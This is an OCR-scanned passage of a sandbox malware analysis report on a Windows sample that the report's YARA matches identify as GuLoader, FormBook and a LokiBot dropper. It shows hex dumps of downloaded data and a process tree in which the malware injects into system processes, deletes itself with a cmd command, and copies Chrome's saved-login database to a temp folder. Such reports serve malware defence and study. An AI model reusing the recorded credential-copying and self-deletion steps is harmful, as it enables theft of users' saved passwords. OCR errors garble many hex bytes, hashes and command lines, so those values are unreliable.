dO 3a 4f 10 b9 23 68 07 29 52 ac 1b 34 1a 61 05 ca c5 07 d4 3b 5¢ 3e 99 97 Of cd 2b b8 2b 47 dc 01 59 73 a3 f9 e5 7c 3f
1b 4f 39 e3 d8 ea el 2b 3d 52 83 5 59 {7 1d 9b 93 18 ea 77 43 8c 82 Oe dd 90 bb 77 55 02 41 de 8a Of f8 Oc 72 5a 48 d7
a8 76 d4 12 f4 7a 30 Oe 5a 2a c4 bb ed d6 7e f9 92 16
Data Ascii: IYPk9q.p|=Z+ixa0=X*=;5;~3,*X>}WCeeJ@Y,G!v4gw."S[383Me;(EWMQa:O#h)R4a;\>++GYs|?09+=RYwCw
UArZHvz0zZ*~

2021-11-25 12:01:33 UTC 562 IN Data Raw: d9 61 6f 9a cO da 28 6c Oe 3e cf 1c Of cd cO 4e 75 e2 54 1f 7d 92 f6 a6 e5 a7 5 96 5f 8a 39 27 ba 8a b0 99 c5
€0 6f f7 4e fa 16 01 e5 46 de 9b 99 66 19 le 4a 44 f4 f9 58 fd a9 2 38 3b 90 ca df 9e bb d7 ce 69 bc 3d fb dc 3c 66 a3 83
fc 36 c4 d7 df 90 46 f9 ed 98 c1 19 e5 92 ef 07 e3 d5 a0 c6 e Oc 9f al f3 01 b6 26 8a dc 6e 40 af d8 f1 6a 2 6f 49 47 4d
9a 61 a8 50 68 a6 5e 83 bl ea 10 ba 8f 83 79 f0 48 37 81 5d 3a 2c d7 d3 4f 62 6f 86 cc 10 4b 6b e4 46 6a 3c 85 6d 30 la
8a fd 2e c0 el 22 97 b9 91 35 f3 67 4f ee €9 a3 6b ec db 09 97 c6 d6 80 fa 8d 42 c3 7f 55 eb 49 b2 62 a0 8f 86 06 be 98
42 d4 c3 6b 57 f3 bf 35 86 89 96 57 6¢ 93 e6 c5 a6 da 7e 9a b0 78 d2 8b 73 11 59 el 4d 0a 08 6f Ob ad 00 15 cO e5 05 92
b6 f2 45 9f 32 67 c6 e4 ff 73 cb 17 f0 19 02 7d
Data Ascii: ao(I>NuT}_9'0NFfIDX8;i=<f6F&n@jolGMaPh"yH7]:,0boKkFj<m0."5gOkBUIbBKW5WI~xsYMoE2gs}

2021-11-25 12:01:33 UTC 570 IN Data Raw: 9f 4f 06 44 ed 3a 67 59 cc 84 6b 7b 2d c1 d9 f8 20 b1 c6 eb c2 28 b5 b6 fb al 11 3e 80 aa 47 c1 50 98 fd bc ce
de 3a 95 60 64 17 67 4e eb 32 49 be b4 Oc d6 ba f8 9e 04 71 98 1b 82 3e 4a 26 25 b9 37 fd 1b 7c cf 67 ba 33 36 67 d4 00
9a 55 17 45 a0 fa bd 7e 1f f2 d7 03 23 43 a8 de 65 00 d3 08 03 ac 26 b0 2c 8¢ 9f 1e c0 da e5 37 2a 35 8f e7 cb 8b 47 8d
80 aa 84 3c 1ladl 1c 19 3b 59 32 00 ee a6 ee Ob 4e c7 d6 f8 60 ad b4 4e 79 42 75 54 88 f2 ab de 03 1b 96 83 4b 6a df 54
a9 aa 6e b0 el 59 b2 15 34 66 e8 e4 10 64 a7 08 47 f3 f3 61 15 2e 78 ed a5 b0 da 42 62 c8 f5 ec fc 71 ¢6 15 d3 b6 70 90
fc de b0 d8 4c 15 cb al 22 0d 1e 81 48 b6 16 Oc 62 9e ee 76 33 fb 7a 62 30 2c a9 7a 45 06 87 Oc 22 52 7a 0a 6¢ 7d d4 5¢
7b 06 25 f8 3 42 5f 87 a5 38 68 74 4a 91 €5 5e €3 9d
Data Ascii: OD:gYk{- (>GP: dgN21q>J&%7|g36gUE~#Ce&,7*5G<;Y2N NyBuTKjTnY4fdGa.xBbgpL"Hbv3zb0,zE"RzI}\
{%B_8htJ"

2021-11-25 12:01:33 UTC 578 IN Data Raw: bf 18 09 42 e2 32 a7 Oc 30 08 90 55 a3 2b b9 b8 84 1b 45 41 c0 82 0d f4 a3 b8 a8 al ae bf 2b 47 44 a8 2c 5b
84 87 82 7f c9 9b 6b 1f 6d 0d b8 2e 97 55 5e a3 b2 Oe 82 ab fc 9e 64 d2 e3 db 86 9e 55 b0 a9 d1 f2 bb 97 b6 96 fa 25 c7
54 b7 c9 14 13 bd 1a af 9d 05 6a aa a7 80 ec cb a8 16 a0 38 10 e8 a8 69 ce d4 d1 a9 3f 51 Ob 5a 61 5 31 26 f6 f7 {7 5b
80 8e be bc fb 2f 27 9a 5b da 49 41 39 43 cd ac 92 7a 02 0f 2b d8 c9 56 b9 b8 cf 20 50 fb 06 c6 18 70 c4 62 b4 de 90 85
2b 5f €3 7d e5 8a 74 3e 54 ff 48 54 54 be b8 3b 55 8 b3 16 07 4a 4b ff 86 83 6a 3d 2b c7 d1 3a ff 68 €3 f2 7c ee 76 ae 25
a6 a4 93 50 16 ff 63 44 28 38 44 cb 23 44 7e be Oe 8c al 9e 33 02 54 7b ba 5d 74 3d Oe c7 eb 9c 51 cc db 9e 55 ea 2 fa
73 ¢5 2e 92 50 b4 6¢ 89 16 ¢5 98 1b 85 5a 11 b1 98 fc
Data Ascii: B20U+EA+GD,[km.U"dU%T|8i?QZal&[/'[IA9Cz+V Ppb+_}t>THTT;UJKj=+:h|v%PcD(8D#D~3T{]t=QUs.PIZ

2021-11-25 12:01:33 UTC 585 IN Data Raw: 5d 34 b0 7b e5 91 6f Ob 13 20 17 da 67 57 a0 87 bf 95 4b 66 08 4b b8 f4 c4 76 99 4f 85 62 02 7e 7d c1 73 21
dO bf 49 0d d8 7a 64 07 5f 4f ce 97 Oa dc 94 26 24 cc a7 4c 6b 2f f2 7e d5 0d 1a 2d 1f 6b 5e d1 6¢ 73 4e 35 71 98 45 e0 30
a7 b3 8d e3 5d 52 d7 4c df 66 ca 50 e6 9e f9 db cb 67 4b 61 1b 57 48 5b 67 11 3f fc 47 11 41 a9 1b 47 a7 b8 c5 bd 5d 66
8 13 45 90 28 7e 19 90 4b 33 56 49 07 39 04 76 b3 75 01 cd 93 5b ed 1d e3 5a db 2b d2 ec 35 77 76 79 03 df f5 d3 92 6d
4f 01 fe 86 4d Ob 07 3e 66 8d d9 Oe cO 9b 7e cd be c2 80 5c 5e d5 b2 e2 15 84 2d 45 89 c4 ba e9 61 08 90 3f fe fe 22 7e
ec 44 62 1b 5a 49 79 Oa e9 f7 34 42 40 f0 a0 Oa 7b 2a fd 43 2e b3 1f cf 90 f7 b9 c5 01 85 38 a2 62 bc 74 89 5f c5 3a 50 99
72 7b 4a 7a e7 4f 3e 3f 4f 01 07 17 8f 87 bb 3b 67
Data Ascii: ]4{o gWKfKvOb~}s!lzd_O&S$Lk/~-kNsN5qEO]RLfPgKaWH[g?GAGIfE(~K3VI9vu[Z+5wvymOM>f~\"-Ea?"~D
bZly4B@{*C.8bt_:Pr{JzO0>?0;g
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kBytes
Timestamp transferred Direction Data

2021-11-25 12:01:33 UTC 593 IN Data Raw: 18 ba d6 5f 31 8a 16 79 cd 91 4e f2 19 c0 f5 c6 18 df fe 49 41 a4 f9 01 01 c¢3 25 55 8b 7b b0 39 2d 43 7e f3 cO
eb 7a 5c d6 bc fe 7c 4e dO ba 11 1e a4 17 b2 32 49 ce c7 7a 4e 8d b9 60 b8 33 b8 6d 1a 1d 83 d0 d2 a9 67 fc d6 70 ec 9d
f4 a6 bd 6e 42 bd d6 80 76 ef df da 0d c8 05 47 ad b3 dd 5f 07 09 ba 73 79 96 b3 61 05 11 76 d1 62 e7 5f 5d 42 68 6b 6¢
b0 7c 3b c2 95 30 81 73 b3 09 38 ae 72 9e b7 c4 97 c2 e7 ca 91 83 30 b2 cf da aa 1b fa 3a 81 b4 90 12 de 6a 7a 66 5f cd
bl 6d 9d 5a a9 e4 12 33 71 2f d1 Ob 58 c2 41 59 a7 9f ae 57 ba da c6 cc be ec e5 b7 ad 90 16 3f 23 18 f1 78 al e6 64 42
92 13 28 a0 11 10 8f b0 25 fd b6 ab df 1c b7 53 bf bf 30 99 84 al 6d 4f f4 d6 6f 06 a3 69 83 2a ac 32 1f 4d b2 91 8a a4 51
6c 98 d7 6d 3d 14 3f df 56 31 39 ed d0 3c ce ab fb
Data Ascii: _1yNIA%U{9-C~z\|N21zN"3mgpnBvG_syavb_]Bhkl|;0s8r0:jzf_mZ3qg/XAYW?#xdB(%S0mO0i*2MQIm=?V19<

2021-11-25 12:01:33 UTC 601 IN Data Raw: 6f 5d 45 95 9d 3b a9 46 1e a9 07 f0 80 ff 1a c7 4e 4d 60 f6 d3 24 ac 27 97 eb 78 e5 e4 a6 88 9b a3 fe 0a 74 Oe
32 12 df 1c 3c 25 9c 0d 2f 91 02 62 3f c4 89 de 67 b4 4f 61 d8 7a 83 b1 61 55 39 e2 4b e9 6d 26 98 ce 55 el 11 d3 32 Oa
3d 68 6d c2 66 1b 83 d9 97 18 4e 47 56 c3 60 20 88 38 c2 f3 2e dc 30 4a 41 70 12 57 8b 03 ae 63 67 16 90 d4 ff a2 0a 98
d8 40 7d 17 e4 00 b6 c0 64 24 7c a8 16 dd 07 f1 21 cb 98 d6 27 39 3d a7 ec d0 07 2c eb ec 90 aa 8a 15 2e 68 5a 7f f1 9d
84 a6 31 df ee Ob 8b 7e be e3 e4 18 74 97 3f a2 a3 1d c8 16 63 da a7 49 8b Oa 4a 33 fa ff eb 53 3a 00 88 5f 82 e3 3f 29 fa
c7 ef 47 6¢ 78 5b e4 49 ea 16 1c 84 e2 89 05 a2 3e 18 1a ef 81 al Of 5d 66 05 cd 9e e9 a7 39 c4 3a 1c be 6a b9 84 90 82
b3 2e 12 4f 3a 26 41 41 75 54 5d 38 69 c3 3e 92 18
Data Ascii: 0]E;FNM $'xt2<%/b?gOazaU9Km&U2=hmfNGV" 8.0JApWcg@}d$|!'9=,.hZ1~t?clI3S:_?)GIx[I>]f9:].O:
&AAUT]8i>

2021-11-25 12:01:33 UTC 609 IN Data Raw: d7 10 b6 98 45 cc 3c 2d e9 70 9f 88 67 fe 72 93 45 00 1d c6 9b 03 23 12 a3 77 0d e2 5b ea 8b 15 f5 ba d5 3d
5c f6 4b d5 b4 61 9a 8b a9 6f 43 88 8a 8c 8b 8c 4b 9c 87 62 97 fc 66 9a €9 3a 8b 21 e2 b2 c7 2e 5d 99 66 5¢ 78 22 51 43
7554 53 ¢8 ¢8 23 b0 18 90 8e c2 88 20 f9 7 07 96 €0 6a df Oa d1 5¢c ee 31 e7 97 dd 65 b8 ea 5e 61 df 9c 7b 80 05 9b 3e
b2 ca 61 57 2f 53 80 be 77 ea 10 dd b4 a0 a3 80 50 1a 24 9d 43 72 21 01 d4 a0 34 b0 c1 91 5d 15 60 7e 61 38 93 3d 97
2b db fc 55 54 d7 87 a4 Oe b3 e3 73 cf 7b 28 b7 bd 77 aa bl 13 51 ac eb fd e0 fc 49 6f 15 ea 97 ba 9c b5 d5 66 5f 48 f4 93
02 76 00 bb 3f 08 2e 5¢ 21 56 17 23 56 €8 85 35 1c 3e 28 88 72 ¢7 3d d0 6d b3 23 00 73 36 17 c0 c9 fa c1 1f 5d 25 47 a2
a7 7e 30 58 b7 d5 2f 03 de 2c 4b 05 5d 85 a9 b9 63 36 fb
Data Ascii: E<-pgrE#w[=\KaoCKbf:L.]\x"QCuTS# j\1e"a{>aW/SwP$Cr!4] ~a8=+UTs{(wQlof_Hv?\IV#V5>(r=m#s
6]%G~0X/,K]c6

2021-11-25 12:01:33 UTC 617 IN Data Raw: 77 d8 7b 6b 2a 25 48 05 38 5e 9d dc f4 d5 3c 5d €0 6e e4 c8 68 e7 36 a5 16 5a 57 9b 93 9c Oc 60 78 8¢ 64 {7
4c 19 9e c8 33 5e 88 6e cf 74 36 3e 04 4f 09 ea ed c5 a0 59 b6 9e df dd 6e 38 70 0d 5¢ €9 b5 4b 39 d8 0d a4 54 49 21 d1
5c 77 d0 6¢ a6 50 75 c9 e3 e0 58 ¢7 6a 53 79 02 74 05 5a ae 8a d6 83 Oc 58 7a 6f c3 4a 54 bl aa 7c 6a 0f 22 66 7e da 93
al 94 3f 56 58 62 52 0b 69 bb 7a 3d fe bf a3 32 07 83 f0 9d b1 c9 a2 64 07 f7 ea 9b 79 6d d3 30 72 a2 49 17 2d €3 35 af
553 b4 aae4 70 ed 05 8c f2 a5 de b7 08 77 56 fa 52 ¢8 9d d8 10 54 46 9e ec 20 66 3a al 4b 55 3f 11 a6 fd ca f1 2c cc a6
18 1b b6 02 21 ec f3 55 2b 67 16 d5 86 01 3b 2b 8a 92 86 c5 87 df 33 ce 8f 80 ef cf dd 67 9a 1c b9 12 3e cb a2 d2 53 e6
59 a9 4a 31 bf 19 18 a0 d3 d9 df 5e d1 42 b2 1e f3 e0
Data Ascii: w{k*%H8"<]nh6Z\W xdL3"nt6>0Yn8p\KITINWIPuXjSytZXzoJT|j"f~?VXbRiz=2dymOrl-5UpwVRTF f:KU?,
U+g;+3g>SYJ1"B

2021-11-25 12:01:33 UTC 625 IN Data Raw: cb 25 e9 09 0a 08 6¢ 8d 8b 5b 75 bd f1 b1 f1 0d 75 87 30 c0 6a 79 ca 9a 11 96 39 85 12 83 5b ec ch c2 11 25
bf 7d 84 49 61 87 75 48 20 d3 77 54 80 6d 37 d6 21 5f f7 3a 47 51 af dO 51 81 fa 8a 4c 26 63 57 94 fd 3d 7 d7 e7 68 b1 73
f4 97 4 0 c4 79 dc 51 18 5¢ 96 56 23 ea 00 35 €3 40 c1 24 d2 f5 1f 01 93 ¢3 f7 73 79 10 02 14 {7 8c dc 89 2c 3a a8 84 ad
05 81 69 03 54 95 €9 ca 86 f7 b0 f1 15 f7 7d 81 31 5b 95 bd 4d al 3e ad a4 Oa e6 54 40 fb f9 20 09 aa a8 80 88 2a fa e5 Of
89 3a 3b 4a b9 ec cd bc e4 2e 6f 43 f4 1e ae 6d 18 75 46 3c a5 4f db 34 9c 46 8e ce 9b b1 93 43 fc eb f1 43 76 76 eb 4c
a0 b4 c5 7d 49 44 3b 3 22 61 46 c5 ac ed ca af ad b4 eb d0 ab 13 80 af 21 78 a0 df c5 1c 87 fc 15 80 eb 65 84 73 26 72
96 b3 fe 20 21 79 fd 60 2f 60 a9 6¢ ec f9 cf 4a
Data Ascii: %l[uuQjy9[%}lauH wTm7!_:GQQL&CW=hsyQ\V#5@$sy,:iT}1[M>T@ *:;J.0CmuF<O4FCCwVL}ID;"aF!xes&r
AN}

2021-11-25 12:01:33 UTC 632 IN Data Raw: 14 27 Ob 9e 3f 22 e9 el 4b d7 fd cc 2a a7 20 d8 27 4a 9c 34 f2 fa 06 6b 51 fe e8 1e ef d9 65 5a 30 88 ae 98 ec
32¢c02b 3b f3 6b 7d 5e 83 15 29 c8 e7 62 72 4f 8¢ 26 85 aa fa cf 66 09 05 02 d1 12 ae 29 d8 86 31 29 le 97 c9 89 c3 d7
06 9f 65 8f 3e c1 85 6¢ 36 fd 3c 3a 7e 39 a8 d8 ce 56 6a 11 ec 96 bb 06 9e 1f bc d1 08 55 d1 21 b0 f2 d2 e2 af 1c ad d9 fa
80 cc be 13 3¢ 63 f4 d9 29 6d 36 61 01 2a 29 84 0d 19 8f 4a 65 9a 08 8d 93 60 57 20 9a 19 ec 50 27 97 5¢ da 73 d2 4a 49
73 64 fa ee 91 c5 c2 e5 69 16 f4 3e 59 92 80 2c 94 20 8f 45 08 cb 2d 15 35 8f f3 4b 37 €6 65 cb bc 8e 2c d3 63 82 f4 81 74
54 03 3b 09 9d 85 4e da le a3 23 5a 54 72 7d 03 30 a8 bb 60 2e 83 4e dc 16 7d ef fe 6e 6d 33 bl f0 al 64 a6 48 3b 4f 21
2b 9e 7f 39 4d c1 5a 3e 27 bd eb €3 29 c9 27 eb
Data Ascii: '?"K* 'J4kQeZ02+;k}")brO&f)1)e>16<:~9VjU!<c)mba*)Je’W P\sJIsdi>Y, E-5K7e,ctT;N#ZTr}0".N}nm3dH;O!+
IMZ>")

2021-11-25 12:01:33 UTC 640 IN Data Raw: 7d ee 93 7c c8 a7 54 e9 el 5f 44 d4 7b 12 05 02 53 9a 24 be 8f ee 28 6e 94 04 0b e3 80 fc 64 b6 94 90 4d c1
cb 50 70 5b Oc e3 da 4d 13 12 79 c9 d5 39 2c ba 06 19 fa 4f 70 ca 7f cc dd 3d 43 10 1c 4a 6b 80 dd b6 b9 3c e5 4f 38 8b
8b af 80 fd 32 8e 5¢c 66 €9 be 8e 5¢c da 58 ce Oc e9 al 5d fe de 19 6d 15 ec 43 35 {6 8f b6 5d 29 e9 ab ed 8e 13 13 01 6¢
c1 b6 66 7e 9e d8 ea 93 9e 56 cb 42 90 99 98 79 ca cb d1 d6 aa 89 d0 d6 81 1c 74 cd 82 e0 6b 93 48 f2 0f 9c c2 fb ee {8
ca 1b 76 60 c2 ae ab 9b 5d 07 1d cd 6d 03 39 4b 02 c2 06 5e fa e6 d2 57 5d 95 38 2c aa 8d 0f 9b a8 dd 19 c5 52 b3 1f ad
b5 02 25 ab 37 36 60 25 b8 cc cd 2¢ 39 71 e8 86 57 cc 8d 44 ea 3e 87 9f 5b 0a 60 8b 99 66 aa b4 52 b4 91 ca 69 c7 29 63
93 e4 9e Oc cO ee 48 c3 41 2a 4b d5 ff 09 33 8b 8f 7e 30
Data Ascii: }|T_D{S$(ndMPp[My9,0p=CJIk<O82\\X]mC5])If~VBytkHv' ]mOK"W]8,R%76 %,9qWD>[ fRi)cHA*K3~0

2021-11-25 12:01:33 UTC 648 IN Data Raw: 07 13 23 bb 38 c9 12 7e 8f ba c8 7b 28 f2 25 a6 €8 69 ac ac 9a dd 8f 1d a9 13 57 58 58 e8 63 34 d0 83 66 01
0d 00 6¢ 4b 59 dd 90 91 dd 19 42 76 7f e8 78 a2 04 fb 83 63 bd 05 c7 d2 Oe el d9 00 60 8a 34 73 c8 78 3e 5b e7 3e a3 9d
ed 5b 1a 06 f0 9f 51 fa 44 a4 95 ae 99 79 f2 2b 5¢ 9f c0 c4 5b 64 al 76 e2 26 98 54 b0 67 60 f8 9b a2 b3 6a 1d d4 ac 87
32354 da 1b 70 52 ¢3 09 51 1c 05 4a 39 37 8¢ 1e d5 98 4a dd 10 04 06 Oe ab c0 ec de 54 c1 e5 4b e3 9f a9 b5 33 Ob 6d
03 3b ea 64 49 al 8a c4 0d 1b d3 59 41 4a 0d 86 49 38 72 c8 ca cd 5f cf Oc 86 70 a9 fc f7 09 35 bl a9 71 42 c4 37 f4 b8 4f
18 f7 22 b0 e9 62 6e b5 c8 df 7e 73 f2 93 ab 94 f2 9e 37 6b 95 f3 05 3d 96 36 a0 97 a6 db a5 95 e4 a7 7e 3a €0 e6 ed 80
3b 17 16 ed fc ab d1 bc 64 ff 41 fb eb 91 c1 8e 6f f4
Data Ascii: #8~{(%iIWXXc4fIKYBvxc 4sx>[>[QDy+\[dv&Tg j2TpRQJII7ITK3m;dIYAJI8r_p59gB70"bn~s7k=6~:;dAo

Code Manipulations

Statistics
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Behavior

g

Click to jump to process

System Behavior

Analysis Process: Zr26flrL6r.exe PID: 6656 Parent PID: 3436

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

12:53:27

25/11/2021
C:\Users\user\Desktop\Zr26f1rL6r.exe
true
"C:\Users\user\Desktop\Zr26f1rL6r.exe"
0x400000

144472 bytes
812181DF251E06433BF2F4F6A0COFOF4
true

true

Visual Basic

e Rule: JoeSecurity_GulLoader_2, Description: Yara detected GuLoader, Source:
00000002.00000002.47312005259.0000000002310000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: low
File Activities Show Windows behavior
Analysis Process: Zr26f1rL6r.exe PID: 6600 Parent PID: 6656

General

Start time: 12:54:11

Start date: 25/11/2021

Path: C:\Users\user\Desktop\Zr26f1rL6r.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
"C:\Users\user\Desktop\Zr26f1rL6r.exe"
0x400000

144472 bytes
812181DF251E06433BF2F4F6A0COFOF4
true

true

C, C++ or other language
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Yara matches:

Reputation:

File Activities

File Created

File Read

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000000A.00000000.47309959760.0000000000560000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.47948793587.000000001E520000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.47948793587.000000001E520000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.47948793587.000000001E520000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.47938169208.00000000000A0000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.47938169208.00000000000A0000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.47938169208.00000000000A0000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

low

Show Windows behavior

Analysis Process: explorer.exe PID: 4644 Parent PID: 6600

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Deleted

Copyright Joe Security LLC 2021

12:54:56

25/11/2021
C:\Windows\explorer.exe
false
C:\Windows\Explorer.EXE
0x7ff68e4c0000

4849904 bytes
S5EA66FF5AES612F921BCI9DA23BACI5SF7
false

false

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.47834355504.0000000011F4F000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.47834355504.0000000011F4F000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.47834355504.0000000011F4F000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000E.00000000.47886932964.0000000011F4F000.00000040.00020000.sdmp,
Author: Joe Security

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000E.00000000.47886932964.0000000011F4F000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000E.00000000.47886932964.0000000011F4F000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

moderate

Show Windows behavior
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File Written

Registry Activities Show Windows behavior

Analysis Process: rundll32.exe PID: 4624 Parent PID: 4644

General
Start time: 12:55:10
Start date: 25/11/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe
Imagebase: 0xd50000
File size: 61440 bytes
MD5 hash: 889B99C52A60DD49227C5E485A016679
Has elevated privileges: false
Has administrator privileges: false
Programmed in: C, C++ or other language
Yara matches: e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
0000000F.00000002.51918146774.0000000000540000.00000004.00000020.sdmp,
Author: Florian Roth
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.51917426934.0000000000400000.00000040.00020000.sdmp,
Author: Joe Security
e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.51917426934.0000000000400000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.51917426934.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.51921251635.0000000000C70000.00000040.00020000.sdmp,
Author: Joe Security
e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.51921251635.0000000000C70000.00000040.00020000.sdmp,
Author: JPCERT/CC Incident Response Group
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.51921251635.0000000000C70000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ri1, Source:
0000000F.00000002.51929622698.0000000004887000.00000004.00020000.sdmp,
Author: Florian Roth
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000F.00000002.51921478226.0000000000CA0000.00000004.00000001.sdmp,
Author: Joe Security
e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000F.00000002.51921478226.0000000000CA0000.00000004.00000001.sdmp,
Author: JPCERT/CC Incident Response Group
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000F.00000002.51921478226.0000000000CA0000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
Reputation: moderate
File Activities Show Windows behavior
File Read
Registry Activities Show Windows behavior

Analysis Process: cmd.exe PID: 5276 Parent PID: 4624

General
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:55:14

25/11/2021
C:\Windows\SysWOW64\cmd.exe

true

Ic del "C:\Users\user\Desktop\Zr26f1rL6ér.exe"
0x320000

236544 bytes
DOFCE3AFAB6AA1D58CE9FA336CC2B675B
false

false

C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 424 Parent PID: 5276

General

Start time: 12:55:15

Start date: 25/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6f4340000

875008 bytes
81CA40085FC75BABD2C91D18AAIFFAGS

false

false

C, C++ or other language

Reputation: moderate
Analysis Process: c8ahotgz8h.exe PID: 5500 Parent PID: 4644
General
Start time: 12:59:40
Start date: 25/11/2021
Path: C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

true

C:\Program Files (x86)\Grt4lhI\c8ahotgz8h.exe
0x400000

144472 bytes
812181DF251E06433BF2F4F6A0COFOF4
false

false

Visual Basic

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
00000016.00000002.51080501754.0000000002290000.00000040.00000001.sdmp,
Author: Joe Security

low

Show Windows behavior

Analysis Process: cmd.exe PID: 4808 Parent PID: 4624

General
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Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Written

File Read

12:59:45

25/11/2021
C:\Windows\SysWOW64\cmd.exe
true

Ic copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data"
"C:\Users\user\AppData\Local\Temp\DB1" /V

0x320000

236544 bytes
DOFCE3AFA6AA1D58CE9FA336CC2B675B
false

false

C, C++ or other language

moderate

Show Windows behavior

Analysis Process: conhost.exe PID: 4948 Parent PID: 4808

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

12:59:45

25/11/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff6f4340000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFAG8

false

false

C, C++ or other language

Reputation: moderate
Analysis Process: firefox.exe PID: 5640 Parent PID: 4624
General
Start time: 12:59:46
Start date: 25/11/2021
Path: C:\Program Files\Mozilla Firefox\firefox.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Program Files\Mozilla Firefox\Firefox.exe
0x7ff788ee0000

597432 bytes
FA9F4FC5D7ECAB5A20BF7A9D1251C851
false

false

C, C++ or other language
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Yara matches: e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ril, Source:
00000019.00000000.50661482100.0000000040097000.00000004.00020000.sdmp,
Author: Florian Roth

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ril, Source:
00000019.00000002.50719644805.0000000040097000.00000004.00020000.sdmp,
Author: Florian Roth

e Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan
copy.pdf.ril, Source:
00000019.00000000.50714091090.0000000040097000.00000004.00020000.sdmp,
Author: Florian Roth

Reputation: moderate

File Activities Show Windows behavior

Analysis Process: c8ahotgz8h.exe PID: 7504 Parent PID: 4644

General

Start time: 12:59:53

Start date: 25/11/2021

Path: C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

Wow64 process (32bit): true

Commandline: "C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe"

Imagebase: 0x400000

File size: 144472 bytes

MD5 hash: 812181DF251E06433BF2F4F6A0COFOF4

